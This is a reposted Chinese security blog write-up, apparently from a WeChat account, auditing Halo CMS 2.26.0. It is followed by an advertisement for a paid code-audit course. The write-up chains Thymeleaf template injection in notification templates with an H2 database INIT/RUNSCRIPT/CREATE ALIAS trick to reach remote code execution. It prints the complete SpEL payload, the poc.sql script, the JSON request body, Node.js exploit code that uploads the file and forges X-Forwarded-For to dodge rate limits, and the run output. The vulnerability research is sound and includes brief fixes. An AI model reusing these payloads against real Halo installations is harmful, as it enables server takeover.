文章总结: 本文记录了对Halo2.26.0的完整代码审计与漏洞复现过程,从管理员可自定义的通知模板入手,发现ThymeleafSSTI漏洞,并绕过其ACL黑名单,最终利用H2数据库INIT参数配合RUNSCRIPT与CREATEALIAS实现RCE。文章详细描述了漏洞定位、三道关键坎的绕过思路及PoC构造,对代码审计与漏洞研究具有较高参考价值。 综合评分: 88 文章分类: 代码审计,漏洞分析,红队,漏洞POC
从 Halo 通知模板 SSTI 到 H2 Alias RCE:一次完整的踩坑记录
一寸灰 一寸灰
进击安全
2026年9月2日 11:24 北京
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
本文来自一次真实代码审计与漏洞复现。目标环境为本地 localhost:8090,Halo 版本 2.26.0,项目源码 2.26.0-SNAPSHOT。最终成功弹出 calc.exe。
一、前言:为什么会盯上通知模板
Halo 是一款基于Spring Boot WebFlux + R2DBC + Thymeleaf的开源 CMS。在审计过程中,我们发现后台允许管理员自定义通知模板(NotificationTemplate),而这些模板最终会被 Thymeleaf 渲染成通知标题、正文等内容。
直觉上,如果模板内容没有经过任何过滤,就存在SSTI(Server-Side Template Injection)的风险。于是沿着这条线往下挖,最终形成了一条完整的 RCE 链:
管理员登录 → 上传 poc.sql 到附件目录 → 篡改 new-device-login 通知模板 → 新设备登录触发通知 → Thymeleaf 渲染模板 → SpringEL 执行 → SimpleDriverDataSource.getConnection() → H2 RUNSCRIPT FROM 本地 poc.sql → CREATE ALIAS + CALL calc() → calc.exe 弹出
下面会把整个过程中的关键点、踩坑点和修复思路逐一展开。
二、漏洞定位:Source 与 Sink
2.1 Source:管理员能把任意字符串写进模板
Halo 的扩展资源通过统一的 CRD API 暴露。通知模板作为一种 Extension,更新入口在:
@Overridepublic Mono handle(ServerRequest request) { String name = request.pathVariable(”name”); return request.bodyToMono(Unstructured.class) // Source 在这里 .filter(unstructured -> unstructured.getMetadata() != null && StringUtils.hasText(unstructured.getMetadata().getName()) && Objects.equals(unstructured.getMetadata().getName(), name)) .switchIfEmpty(Mono.error( () -> new ServerWebInputException(”Cannot read body to ” + scheme.groupVersionKind()))) .flatMap(client::update) // 写入数据库 .flatMap(updated -> ServerResponse.ok() .contentType(MediaType.APPLICATION_JSON) .bodyValue(updated));}
攻击者向下面这个地址发送 PUT 请求:
/apis/notification.halo.run/v1alpha1/notificationtemplates/template-new-device-login
就能把 spec.template.title、rawBody、htmlBody 替换成任意字符串,而且这些内容会被原封不动地存进数据库。
2.2 Sink:模板内容被 Thymeleaf 直接渲染
真正执行模板的地方是:
@Component@RequiredArgsConstructorpublic class DefaultNotificationTemplateRender implements NotificationTemplateRender { private static final TemplateEngine TEMPLATE_ENGINE = createTemplateEngine(); @Override public Mono render(String template, Map model) { var context = new Context(Locale.getDefault(), model); ... return Mono.when(globalAttributeMono) .then(Mono.fromSupplier(() -> TEMPLATE_ENGINE.process(defaultString(template), context) // Sink 在这里 )); } static TemplateEngine createTemplateEngine() { var template = new SpringTemplateEngine(); template.setTemplateResolver(new StringTemplateResolver()); // 字符串模板,无过滤 return template; }}
注意两个重点:
也就是说,title 字段里写 [[${…}]],Thymeleaf 就会把它当 SpringEL 表达式执行。
2.3 触发路径:新设备登录通知
new-device-login 通知的触发点在:
@EventListenerMono onApplicationEvent(NewDeviceLoginEvent event) { return subscribeForNewDeviceLoginReason(event.getDevice()) .then(sendNewDeviceNotification(event.getDevice()));} Mono sendNewDeviceNotification(Device device) { return notificationReasonEmitter.emit(REASON_TYPE, builder -> { // REASON_TYPE = ”new-device-login” ... });}
最终 DefaultNotificationCenter.inferenceTemplate() 会把 title、rawBody、htmlBody 三处都送进 DefaultNotificationTemplateRender.render():
var titleMono = notificationTemplateRender .render(templateContent.getTitle(), model) .doOnNext(builder::title); var rawBodyMono = notificationTemplateRender .render(templateContent.getRawBody(), model) .doOnNext(builder::rawBody); var htmlBodyMono = notificationTemplateRender .render(templateContent.getHtmlBody(), model) .doOnNext(builder::htmlBody);
所以只要改 title,就能在通知触发时执行任意 SpEL。
三、第一道坎:Thymeleaf 的 ACL 黑名单
如果只是简单的 SSTI,第一反应肯定是:
[[${T(java.lang.Runtime).getRuntime().exec(”calc”)}]]
但在 Thymeleaf 3.1.3 里,这招走不通。
Thymeleaf 在 org.thymeleaf.util.ExpressionUtils 里维护了一套 ACL,反编译后可以看到它把常见的高危包都拉黑了:
// 全局黑名单private static final Set BLOCKED_ALL_PURPOSES_PACKAGE_NAME_PREFIXES = Set.of( ”java.”, ”javax.”, ”jakarta.”, ”jdk.”, ”org.ietf.jgss.”, ”org.omg.”, ”org.w3c.dom.”, ”org.xml.sax.”, ”com.sun.”, ”sun.”); // 仅允许 java.time.private static final Set ALLOWED_ALL_PURPOSES_PACKAGE_NAME_PREFIXES = Set.of( ”java.time.”); // 类型引用黑名单private static final Set BLOCKED_TYPE_REFERENCE_PACKAGE_NAME_PREFIXES = Set.of( ”org.springframework.web.”, ”org.springframework.context.”, ”org.springframework.beans.”, ”org.springframework.aspects.”, ”org.springframework.aop.”, ”org.springframework.expression.”, ”org.springframework.util.”, ”org.objectweb.asm.”, ”javassist.”, ”net.bytebuddy.”, ”org.aspectj.”, ...);
判断逻辑大致是:先查白名单,再查黑名单。于是 java.lang.Runtime、java.lang.ProcessBuilder、javax.script.、org.springframework.expression.spel. 等常规 RCE 路径全部被堵死。
四、第二道坎:H2 URL 里写多语句会被截断
既然直接调 Runtime.exec 不行,就要找一个不在黑名单里、又能触发代码执行的类。
这里用到两个关键点:
于是可以构造:
new org.springframework.jdbc.datasource.SimpleDriverDataSource( new org.h2.Driver(), 'jdbc:h2:mem:rcepoc;INIT=', 'sa', '').getConnection()
H2 的 INIT 参数会在建立连接时执行一条 SQL。我们本来希望直接写:
jdbc:h2:mem:rcepoc;INIT=CREATE ALIAS calc AS '...'; CALL calc()
但实测发现 H2 URL 解析器会按 ; 切分 key/value,INIT 的值会被截断成只有 CREATE ALIAS calc AS ‘…’,后面的 CALL calc() 直接丢掉。
解决办法:用 RUNSCRIPT FROM ‘<文件路径>‘,让 H2 去读一个完整的 SQL 脚本,脚本内部可以写多条语句。
poc.sql 内容:
DROP ALIAS IF EXISTS calc;CREATE ALIAS calc AS 'String calc() throws Exception { java.lang.Runtime.getRuntime().exec(”calc”); return ”done”; }';CALL calc();
五、第三道坎:文件怎么送上去
早期版本为了把 poc.sql 传给 H2,需要在本机起一个 HTTP 服务,让 H2 通过 RUNSCRIPT FROM ‘http://127.0.0.1:18080/poc.sql’ 下载。但这样依赖额外服务,不够优雅。
后来发现 Halo 默认的附件上传接口不做后缀白名单,可以直接把 poc.sql 上传到:
~/.halo2/attachments/upload/poc.sql
上传端点:
POST /apis/api.console.halo.run/v1alpha1/attachments/uploadContent-Type: multipart/form-data
表单字段:
- file:要上传的文件
- policyName:default-policy
Node.js 上传代码:
const PAYLOAD_SQL = fs.readFileSync('poc.sql', 'utf8'); async function uploadPocSql(cookies) { const form = new FormData(); form.append('file', new Blob([PAYLOAD_SQL], { type: 'application/octet-stream' }), 'poc.sql'); form.append('policyName', 'default-policy'); const res = await fetch('http://localhost:8090/apis/api.console.halo.run/v1alpha1/attachments/upload', { method: 'POST', headers: { Cookie: cookieString(cookies) }, body: form, }); if (res.status !== 200) { throw new Error(`Upload failed: ${res.status}`); } console.log('[+] poc.sql uploaded to ~/.halo2/attachments/upload/poc.sql');}
H2 在 Windows 下也能正确解析 ~ 为用户主目录,所以本地文件 URL 写成:
file:~/.halo2/attachments/upload/poc.sql
即可。
六、PoC 构造:一步步拼起来
6.1 构造 Thymeleaf payload
const LOCAL_SQL_URL = 'file:~/.halo2/attachments/upload/poc.sql'; const RCE_TEMPLATE_TITLE = (() => { const urlValue = `jdbc:h2:mem:rcepoc;INIT=RUNSCRIPT FROM '${LOCAL_SQL_URL}'`; const spelExpr = [ 'new org.springframework.jdbc.datasource.SimpleDriverDataSource(', 'new org.h2.Driver(), ', ”'” + urlValue.replace(/'/g, ”''”) + ”', ”, // SpEL 字符串里单引号要转义 ”'sa', ”, ”''”, ').getConnection()' ].join(''); return '[[' + '${' + spelExpr + '}' + ']]';})();
最终写入 NotificationTemplate.title 的字符串:
[[${new org.springframework.jdbc.datasource.SimpleDriverDataSource( new org.h2.Driver(), 'jdbc:h2:mem:rcepoc;INIT=RUNSCRIPT FROM ''file:~/.halo2/attachments/upload/poc.sql''', 'sa', '').getConnection()}]]
可以直接用于 curl 的请求体(payload.json):
{ ”apiVersion”: ”notification.halo.run/v1alpha1”, ”kind”: ”NotificationTemplate”, ”metadata”: { ”name”: ”template-new-device-login” }, ”spec”: { ”reasonSelector”: { ”language”: ”default”, ”reasonType”: ”new-device-login” }, ”template”: { ”title”: ”[[${new org.springframework.jdbc.datasource.SimpleDriverDataSource(new org.h2.Driver(), 'jdbc:h2:mem:rcepoc;INIT=RUNSCRIPT FROM ''file:~/.halo2/attachments/upload/poc.sql''', 'sa', '').getConnection()}]]”, ”rawBody”: ”RCE POC raw body”, ”htmlBody”: ”RCE POC html body” } }}
6.2 完整执行流程
rce_poc.js 的完整流程如下:
// 1. 获取 CSRF token 和 RSA 公钥const { csrf, publicKey, cookies } = await getLoginPage(); // 2. 第一次管理员登录const loginA = await doLogin(csrf, cookies, publicKey, 'Halo-RCE-Browser-A/1.0', '10.0.0.1'); // 3. 上传 poc.sql 到附件目录await uploadPocSql(loginA.cookies); // 4. 把 new-device-login 模板 title 替换成 RCE payloadawait updateNotificationTemplate(loginA.cookies, RCE_TEMPLATE_TITLE); // 5. 再次获取 CSRF,第二次登录(不同 UA / IP,触发新设备通知)const loginPageB = await getLoginPage();const loginB = await doLogin(loginPageB.csrf, loginPageB.cookies, loginPageB.publicKey, 'Halo-RCE-Browser-B/2.0 (Different)', '10.0.0.2'); // 6. 等待通知触发await new Promise(r => setTimeout(r, 8000)); // 7. 还原模板,避免反复弹窗await restoreNotificationTemplate(loginA.cookies);
6.3 为什么第二次登录要换 UA 和 X-Forwarded-For
- Halo 登录接口有基于 IP 的限流,同一 IP 频繁登录会被拦截;
- IpAddressUtils 会优先读取 X-Forwarded-For 作为客户端 IP,所以每次换这个头就能拿到新的限流桶;
- new-device-login 的设备识别依赖 User-Agent 和 IP,第二次用不同 UA/IP 会被识别为新设备,从而触发通知渲染。
七、验证结果
执行:
node rce_poc.js
输出:
[*] GET /login[+] CSRF token obtained: sFOrVpMsDiknG70ypwzb...[+] Public key obtained from login page[*] POST /login (User-Agent: Halo-RCE-Browser-A/1.0) (X-Forwarded-For: 10.0.0.1)[+] First login successful (status 302)[*] Uploading poc.sql via attachment API[+] Upload success: 200[*] GET /apis/notification.halo.run/v1alpha1/notificationtemplates/template-new-device-login[*] PUT /apis/notification.halo.run/v1alpha1/notificationtemplates/template-new-device-login[+] Notification template updated[*] GET /login[*] POST /login (User-Agent: Halo-RCE-Browser-B/2.0 (Different)) (X-Forwarded-For: 10.0.0.2)[+] Second login successful (status 302)[*] Waiting for notification trigger...[+] Notification template restored[*] If the exploit worked, calc.exe should have opened on the server.
计算器出来了,RCE 验证成功。
八、修复思路
- 默认策略不应允许 ALL 类型,要加后缀白名单;
- 禁止上传 .sql、.sh、.bat、.class 等可解释/可执行文件;
- 附件存储目录与 H2/JDBC 工作目录隔离。
九、写在最后
这条链的有趣之处在于:
- 它不是简单的 SSTI 直接 RCE;
- Thymeleaf 黑名单把常见绕过都堵了,但漏掉了 Spring JDBC + H2 这个利用链;
- H2 的 CREATE ALIAS 机制相当于在 JVM 内部提供了一个“动态编译器”,让我们绕过了 Thymeleaf 对 java.lang.Runtime 的直接限制;
- 最后通过一个不起眼的附件上传功能,把外部 payload 送到了 H2 能读取的位置。
希望对大家做代码审计和漏洞挖掘有所启发。最后就是AI审洞真jb牛逼。
代码审计培训介绍&广告区域
二、第五期课程

第五期课程仍然是以代码审计为主,本次课程还是为三个语言的代码审计0-1讲解,目的为帮助学员完成0-1+1的白盒(代码审计)漏洞挖掘,并且在出货的基础上再+1去出高质量的漏洞(例如组合拳RCE、前台相关漏洞等)。
1
课程周期
开课周期预计到:三个月左右(直播+录播)
课程大纲
本次课程分为PHP、JAVA、NET代码审计为直播+录播,为了照顾一些基础较为薄弱的师傅新增基础~技巧~番外(录播课程)。
01
PHP&JAVA&NET代码审计 (直播+录播)
之前课程大纲主要为xxx实战案例,本次课程大纲着重体现思路方向,并非取消了实战部分,实战部分之多不减。
PHP课程目录
✅ 第一节课:多框架初识&路由认识&参数传递
✅ 第二节课:多框架&鉴权分析&认证与鉴权&鉴权方式
✅ 第三节课:多框架&常见漏洞函数&回显&非回显
✅ 第四节课:注入漏洞&常见位置&实战审计注入类漏洞
✅ 第五节课:前台RCE漏洞审计&漏洞案例技巧讲解
✅ 第六节课:门户网站CMS&网络设备&审计经验讲解
✅ 第七节课:多框架&鉴权对抗&权限绕过技巧&案例分析
✅ 第八节课:组合拳RCE漏洞分析&漏洞组合拳利用&案例
✅ 第九节课:PHP下反序列化漏洞&魔术方法&pop链分析
✅ 第十节课:PHP下反序列化漏洞实战&phar协议RCE案例
JAVA课程目录
✅ 第一节课:Servlet&Spring Boot&Spring MVC&Struts2
✅ 第二节课:多框架下&拦截器&认证鉴权&组件鉴权分析
✅ 第三节课:多框架下&权限绕过&鉴权对抗&案例分析
✅ 第四节课:常见漏洞函数&案例分析&审计技巧
✅ 第五节课:前台漏洞审计&组合拳rce漏洞&技巧&案例
✅ 第六节课:反序列化&CC链利用&反序列化漏洞利用
✅ 第七节课:Ognl&SpEl&EL表达式注入&漏洞案例
✅ 第八节课:内存马简介&内存马原理分析&内存马注入方式
✅ 第九节课:RMI&JNDI注入&JNDI注入漏洞利用&案例
✅ 第十节课:组件漏洞&shiro&fastjson&log4j分析&利用
.NET课程目录
✅ 第一节课:初识.NET&Web From & MVC架构框架分析
✅ 第二节课:Web From&MVC框架&鉴权分析&认证方式
✅ 第三节课:多框架下&鉴权对抗&权限绕过分析&案例
✅ 第四节课:注入漏洞分析&文件操作类漏洞&实战分析
✅ 第五节课:常见漏洞位置&前台漏洞审计&漏洞案例讲解
✅ 第六节课:组合拳RCE漏洞分析&组合拳RCE案例讲解
✅ 第七节课:.NET反序列化漏洞初识&反序列化漏洞原理
✅ 第八节课:.NET安全反序列化链&反序列化触发场景
✅ 第九节课:.NET反序列化漏洞案例&反序列化漏洞分析
02
基础~技巧~番外(录播)
该篇章为长期更新
1
基础篇章
1、由于之前上课时部分师傅存在一定基础,刚开始的课程部分师傅认为自己可以跟的上等问题,导致时间的浪费。
2、同时有一定的师傅存在无法搭建源码,以及软件下载等问题,于是将这种基础问题,统一归纳为基础篇章,供师傅们学习,节省师傅们时间提升学习效率及课程质量
3、同时面对部分学员频繁提出的一些问题,针对该问题同样会进行解答,并且进行录制上传至基础篇章中。
2
技巧篇章
1、随着自己技术的进步也了解到了一些新型的技巧或者手法,例如sql注入的某一个技巧,但是重新讲解又浪费大量时间,特地新增了技巧篇章,将单独的技巧进行讲解。
3
番外篇章
1、自己在第四期讲过一些逆向相关,并且还存在相关的一些好的案例,得到了挺多师傅的认可,例如某APP接管存储桶等案例,于是之后在有好的案例将进行上传更新。
课程思维导图

常见疑问&课程讲解

第五期课程收费多少?

本次课程收费仍然是1688,并且还是承诺一次报名后续不再进行任何二次收费保障(包含内部平台,以及后续推出一系列内容均可观看)。

什么时间段上课,上课周期是多长时间?

第五期课程【直播+录播】上课周期为三个月,一般集中在周五六日这三天,一周保持2~3节课,每节课1小时左右。

作为学员,我们都有哪些权益?

首先最关键的就是课程内容是可以一直学习的,同时内部报告平台也可进行观看,答疑是不限时长,不限类型方向,任何方向均可,再次同时代码审计最关键的就是源码,源码&课件&视频都是给兄弟们配套的,当然无聊找小朋友聊天一起打游戏也可以哦。

学完之后可以达到什么水平?

学完之后可以达到可以进行独立审计的水平,在面对php、JAVA、NET主流语言的源码,可以进行独立审计,验证漏洞,对于一些JAVA安全内容例如:反序列化,内存马等也有一定的理解,可以进行打反序列化漏洞、注入内存马等操作,同时PHP的反序列化、pop链,phar协议等利用也有一定理解,且此类漏洞导致RCE均有案例。

0基础可以学吗?

1、这是大家最常问的一个问题,0基础是可以的,我的代码审计课程一直秉持着帮助大家完成代码审计0-1的目标,同时往期(第四期)课程新增了进阶课,其目的也是帮助大家完成0-1出洞到0-1出有质量的漏洞。
2、另外考虑到有的学员基础较为薄弱,本期同时也开了番外篇&基础篇,师傅们可以观看这块分区课程内容,此类分块课程目的就是为协助到一些基础比较薄弱的师傅们。

是那种读PPT拿着靶场讲解吗?

不会,课程均使用一些0Day&1Day&Nday优质漏洞来进行授课,且本期案例均为从简-难漏洞案例,深度体验代码审计当中的难易区分,完全杜绝靶场以及去读PPT的,从培训第一期开始到现在,基本为上课开始看几眼课件,让学员熟悉这节课的大概内容等信息,然后直接实操到下课,这一点也是我干培训五期以来一直使用的授课方式。

是否有简历修改&内推等福利?

有的兄弟,有的,不介意小朋友的指导简历这类的话,随时欢迎大家来骚扰我。

为什么你不新增AI方向的内容?

目前我个人认为AI可以帮助我们提升很大的效率,但是前提是AI的使用者本身要懂这个技术,才可以利用AI来降低该技术门槛,提升效率,完全自动化目前感觉还是无法做到,包括课程当中也会使用AI会顺带着给师傅讲了如何用ai来提升效率,同时如果反馈不会使用的师傅较多,会考虑后续在基础~技巧~番外来更新该方向内容。
联系方式
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:进击安全 一寸灰 一寸灰《从 Halo 通知模板 SSTI 到 H2 Alias RCE:一次完整的踩坑记录》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论